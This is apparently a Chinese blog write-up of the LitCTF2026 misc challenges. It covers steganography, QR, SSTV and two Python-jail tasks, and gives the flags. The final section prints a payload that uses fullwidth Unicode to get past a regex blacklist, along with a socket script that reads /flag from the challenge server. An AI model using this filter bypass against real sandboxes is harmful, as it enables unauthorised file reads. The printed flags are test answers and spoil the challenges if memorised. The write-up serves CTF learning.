bakamu
文章9
标签6
分类6

文章归档

LitCTF2026-misc

LitCTF2026-misc

题目

lit_lsb_base64

拿到附件,图片名字是stego,直接zsteg得到编码

1
TGl0Q1RGe2xzYl8xc19mdW5fdzF0aF9iNHMzXzY0fQ==

base64解码得到flag

1
LitCTF{lsb_1s_fun_w1th_b4s3_64}

lit_rush_qr

得到gif,最后一帧有二维码

添加定位符后扫码得到flag

1
LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry}

lit_sstv

提示是sstv,直接用工具

1
sstv -d signal.wav -o result.png

得到图片

1
LitCTF{sstv_p4t13nc3}

lit_welcome

附件是全白的图片,尝试用stegsolve打开得到flag

1
LitCTF{w3lc0m3_t0_m1sc_w0rld}

lit_pyjail_reader

简单的pyjail题目,考查文件读取

分析一下函数

第一步反转字符
第二部读取目录/app/where_is_flag.txt
第三部得到flag

lit_pyjail_unicode

依旧分析代码

黑名单用 ASCII 正则检查源码文本,但 Python 解释器会将全角(Fullwidth)Unicode 字符 open 规范化后等同于 open
构造payload:open(“/flag”).read()

  • ASCII 正则 \bopen\b 在源码字节层面上匹配——它看到的是 Unicode 码点 \uff4f\uff50\uff45\uff4e ,不匹配 open
  • 没有使用 \u / \U / \x 转义序列(直接发送 UTF-8 字节),通过第二道过滤
  • Python 解释器对标识符做 NFKC 规范化, open → open ,正常调用内置函数
  • eval() 执行 open(“/flag”).read() ,返回 flag 内容

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket
s = socket.socket()
s.settimeout(10)
s.connect(("challenge.cyclens.tech", 31299))
# 收完 banner
b = b""
while b"> " not in b:
b += s.recv(4096)
# 全角 Unicode 绕过: open → NFKC 归一化为 open
p = '\uff4f\uff50\uff45\uff4e("/flag").read()'
s.sendall(p.encode() + b"\n")
# 收结果
r = b""
while True:
c = s.recv(4096)
if not c:
break
r += c
print(r.decode(errors="replace"))
s.close()

本文作者:bakamu
本文链接:http://example.com/2026/05/23/LitCTF2026/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
糖糖的AI分身(BETA)
如果加载时间过长,可尝试打开系统代理